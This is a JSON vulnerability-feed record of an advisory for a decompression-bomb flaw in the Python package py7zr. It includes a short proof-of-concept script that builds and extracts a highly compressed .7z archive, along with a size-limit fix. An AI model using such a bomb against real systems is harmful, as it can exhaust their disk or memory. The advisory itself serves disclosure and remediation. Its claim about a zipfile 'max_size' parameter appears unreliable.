{"id":"CVE-2026-55195","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","summary":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","severity":"medium","cwe":["CWE-409"],"vendor":"py7zr","product":"py7zr","ecosystem":"pip","affected":["py7zr <= 1.1.2"],"patched":["py7zr 1.1.3"],"published":"2026-06-19","updated":"2026-06-19","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-gjrg-mpp7-g774","references":[{"url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"},{"url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3"},{"url":"https://github.com/advisories/GHSA-gjrg-mpp7-g774"}],"tags":["ghsa","pip"],"ingestedAt":"2026-06-22T13:35:24.311Z","epss":0.00321,"epssPercentile":0.25232,"slug":"CVE-2026-55195","body":"## Overview\n\npy7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive → 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix='.7z')\nwith py7zr.SevenZipFile(bomb_path, 'w') as z:\n    import io\n    z.writef(io.BytesIO(b'\\x00' * 100 * 1024 * 1024), 'bomb.bin')\n\nprint(f'archive size: {os.path.getsize(bomb_path):,} bytes')\n\n# extract — no size check\nwith py7zr.SevenZipFile(bomb_path, 'r') as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint('extracted 100 MB from ~15 KB archive')\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total > MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.\n\n## Affected packages\n\n- `py7zr <= 1.1.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `py7zr 1.1.3`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}